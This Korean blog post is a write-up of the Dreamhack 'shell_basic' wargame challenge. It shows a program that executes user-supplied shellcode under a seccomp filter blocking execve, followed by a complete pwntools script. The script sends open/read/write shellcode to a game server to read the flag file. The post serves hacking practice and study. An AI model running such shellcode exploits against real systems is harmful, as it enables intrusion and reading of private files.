728x90
반응형
link
[TOOR] 5.3. Shell Code
[TOOR] 5.1. BOF (내 안의 버퍼가 넘친다!)
checksec
skip
vuln
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
셸코드를 입력 받아서 실행시켜주는 프로그램.
exploit method
banned_execve() 에서는 execve 와 execveat 를 seccomp 로 필터링 하고 있다.
플래그의 위치를 줬으니 open으로 열어서 읽으면 될 것 같다.
payload
from pwn import *
ip = "host3.dreamhack.games"
port = 21872
REMOTE = 1
if REMOTE:
p = remote(ip, port)
else:
p = process("./shell_basic") # /home/shell_basic/flag_name_is_loooooong
context(arch='amd64', os='linux')
shellcode = ""
shellcode += shellcraft.pushstr("/home/shell_basic/flag_name_is_loooooong")
shellcode += shellcraft.open('rsp',0,0)
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
p.recvuntil("shellcode: ")
p.send(asm(shellcode))
p.interactive()
exploit
플래그가 나온다.
이 글은 옵시디언을 이용해서 작성되었습니다.
728x90
반응형
'TOOR' 카테고리의 다른 글
[TOOR] 7. Lazy Binding & Now Binding (0) | 2023.09.20 |
---|---|
[TOOR] 6.1. Canary & canary write_up (0) | 2023.09.19 |
[TOOR] 5.3. Shell Code (0) | 2023.09.19 |
[TOOR] 5.2 NXbit (0) | 2023.09.19 |
[TOOR] 5.1. BOF (내 안의 버퍼가 넘친다!) (0) | 2023.09.19 |